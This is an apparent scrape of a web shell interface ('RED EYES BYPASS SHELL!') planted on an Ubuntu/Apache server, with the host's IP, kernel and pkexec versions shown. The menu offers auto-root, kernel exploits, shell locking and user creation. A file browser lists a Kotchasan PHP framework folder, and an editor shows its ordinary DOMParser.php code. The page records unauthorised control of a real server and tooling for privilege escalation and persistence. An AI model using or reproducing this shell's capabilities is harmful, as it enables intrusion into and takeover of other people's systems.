Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
commert /
accout /
Kotchasan /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
Cache
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Orm
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Psr
[ DIR ]
drwxr-xr-x
Accordion.php
2.59
KB
-rwxr-xr-x
ApiController.php
5.59
KB
-rwxr-xr-x
ApiException.php
431
B
-rwxr-xr-x
ArrayTool.php
16.99
KB
-rwxr-xr-x
CKEditor.php
5.5
KB
-rwxr-xr-x
Collection.php
4.73
KB
-rwxr-xr-x
Config.php
8.7
KB
-rwxr-xr-x
Controller.php
512
B
-rwxr-xr-x
Country.php
31.94
KB
-rwxr-xr-x
Csv.php
9.82
KB
-rwxr-xr-x
Curl.php
8.35
KB
-rwxr-xr-x
Currency.php
12.71
KB
-rwxr-xr-x
DOMNode.php
6.07
KB
-rwxr-xr-x
DOMParser.php
6.58
KB
-rwxr-xr-x
DataTable.php
50.94
KB
-rwxr-xr-x
Database.php
3.26
KB
-rwxr-xr-x
Date.php
8.26
KB
-rwxr-xr-x
Email.php
7.12
KB
-rwxr-xr-x
File.php
4.52
KB
-rwxr-xr-x
Files.php
3.05
KB
-rwxr-xr-x
Form.php
36.01
KB
-rwxr-xr-x
Grid.php
1.02
KB
-rwxr-xr-x
Html.php
21.1
KB
-rwxr-xr-x
HtmlTable.php
6.97
KB
-rwxr-xr-x
Htmldoc.php
4.37
KB
-rwxr-xr-x
Image.php
13.58
KB
-rwxr-xr-x
InputItem.php
20.1
KB
-rwxr-xr-x
InputItemException.php
449
B
-rwxr-xr-x
Inputs.php
4.29
KB
-rwxr-xr-x
KBase.php
561
B
-rwxr-xr-x
Kotchasan.php
2.73
KB
-rwxr-xr-x
Language.php
18.22
KB
-rwxr-xr-x
ListItem.php
7.77
KB
-rwxr-xr-x
Login.php
9.3
KB
-rwxr-xr-x
Menu.php
2.92
KB
-rwxr-xr-x
Mime.php
51.18
KB
-rwxr-xr-x
Model.php
1.31
KB
-rwxr-xr-x
Number.php
2.64
KB
-rwxr-xr-x
ObjectTool.php
3.73
KB
-rwxr-xr-x
Password.php
2.97
KB
-rwxr-xr-x
Pdf.php
43.15
KB
-rwxr-xr-x
Province.php
11.71
KB
-rwxr-xr-x
Router.php
5.45
KB
-rwxr-xr-x
Session.php
2.22
KB
-rwxr-xr-x
Singleton.php
1.3
KB
-rwxr-xr-x
Tab.php
3.72
KB
-rwxr-xr-x
Template.php
8.37
KB
-rwxr-xr-x
Text.php
12.89
KB
-rwxr-xr-x
Validator.php
2.7
KB
-rwxr-xr-x
View.php
8.16
KB
-rwxr-xr-x
Xls.php
3.04
KB
-rwxr-xr-x
load.php
15.54
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : DOMParser.php
<?php /** * @filesource Kotchasan/DOMParser.php * * @copyright 2016 Goragod.com * @license https://www.kotchasan.com/license/ * * @see https://www.kotchasan.com/ */ namespace Kotchasan; /** * คลาสสำหรับ การ Parse DOM * * @author Goragod Wiriya <admin@goragod.com> * * @since 1.0 */ class DOMParser { /** * รายการโหนด * * @var array */ protected $doms = array(); /** * class constructor * * @param string $html HTML code * @param string $charset encoding default utf-8 */ public function __construct($html, $charset = 'utf-8') { $patt = array( '/^(.*)<body[^>]{0,}>(.*)<\/body>(.*)$/is' => '\\2', '#<(style|script)(.*?)>(.*?)</\\1>#is' => '', '@<!--.*-->@is' => '', '/<(\!|link|meta)[^>]+\>/i' => '', '@>[\s\t]{0,}[\r\n]+[\s\t]{0,}<@' => '><', '@[\s\t\r\n]{0,}<(\/?(br|hr|figure|figcaption|p|div|footer|article|section|blockquote|code|aside|navy|table|tr|td|th|thead|tbody|tfoot|caption|ul|ol|li|dl|dt|dd|h[1-6])[^>]{0,})>[\s\t\r\n]{0,}@i' => '<\\1>', '@[\s\t]{0,}[\r\n]+[\s\t]{0,}@' => ' ' ); $html = preg_replace(array_keys($patt), array_values($patt), $html); if (strtolower($charset) != 'utf-8') { $html = iconv('utf-8', $charset, $html); } $node = null; foreach (preg_split('/<(.*)>/U', $html, -1, PREG_SPLIT_DELIM_CAPTURE) as $i => $e) { if ($e != '') { if ($i % 2 == 0) { // text node if ($e != '') { if ($node) { $node->childNodes[] = new DOMNode('', $node, array(), $e); } else { $this->doms[] = new DOMNode('', $node, array(), $e); } } } elseif ($e[0] == '/') { // close tag $node = $node->parentNode; } elseif (preg_match('/^([a-zA-Z0-9]+)([\s]{0,}(.*))?$/', $e, $a2)) { // open tag $tag = strtoupper($a2[1]); // attributes $attributes = array(); if (!empty($a2[3]) && preg_match_all('/(\\w+)\s*=\\s*("[^"]*"|\'[^\']*\'|[^"\'\\s>]*)/', $a2[3], $matches, PREG_SET_ORDER)) { foreach ($matches as $match) { if (($match[2][0] == '"' || $match[2][0] == "'") && $match[2][0] == $match[2][strlen($match[2]) - 1]) { $match[2] = substr($match[2], 1, -1); } $attributes[strtoupper($match[1])] = $match[2]; } } if ($tag == 'BR' || $tag == 'IMG' || $tag == 'INPUT' || $tag == 'HR') { if ($node) { $node->childNodes[] = new DOMNode($tag, $node, $attributes); } else { $this->doms[] = new DOMNode($tag, $node, $attributes); } } else { $temp = $node; $node = new DOMNode($tag, $temp, $attributes); if ($temp) { $temp->childNodes[] = $node; } else { $this->doms[] = $node; } } } } } // ตรวจสอบ previousSibling และ nextSibling $currentNode = null; foreach ($this->doms as $node) { $node->previousSibling = $currentNode; $this->populate($node); if ($node->previousSibling) { $node->previousSibling->nextSibling = $node; } $currentNode = $node; } } /** * parse HTML จาก URL * * @param string $url URL ที่ต้องการ parse * * @return \static */ public static function load($url) { $obj = new static(file_get_contents($url)); return $obj; } /** * คืนค่า node ทั้งหมด * * @return array */ public function nodes() { return $this->doms; } /** * ส่งออกเป็นโค้ด HTML จากที่ parse แล้ว * * @return string */ public function toHTML() { $html = ''; foreach ($this->doms as $node) { $html .= $this->drawNode($node); } return $html; } /** * @param DOMNode $node * * @return string */ private function drawNode($node) { $html = ''; if ($node->nodeName == '') { $html .= $node->nodeValue; } else { $prop = array(); foreach ($node->attributes as $k => $v) { $prop[] = $k.'="'.$v.'"'; } if ($node->nodeName == 'BR' || $node->nodeName == 'IMG') { $html .= '<'.$node->nodeName.' '.implode(' ', $prop).'>'; } else { $prop = empty($prop) ? '' : ' '.implode(' ', $prop); $html .= '<'.$node->nodeName.$prop.'>'; if (empty($node->childNodes)) { $html .= $node->nodeValue; } else { foreach ($node->childNodes as $child) { $html .= $this->drawNode($child); } } if ($node->previousSibling) { $html .= '('.$node->previousSibling->nodeName.')'; } $html .= '</'.$node->nodeName.'>'; } } return $html; } /** * ตรวจสอบ previousSibling และ nextSibling * * @param DOMNode $node */ private function populate($node) { $currentNode = null; foreach ($node->childNodes as $item) { $item->previousSibling = $currentNode; foreach ($item->childNodes as $child) { $this->populate($child); if ($node->previousSibling) { $node->previousSibling->nextSibling = $node; } } $currentNode = $item; } } }
Close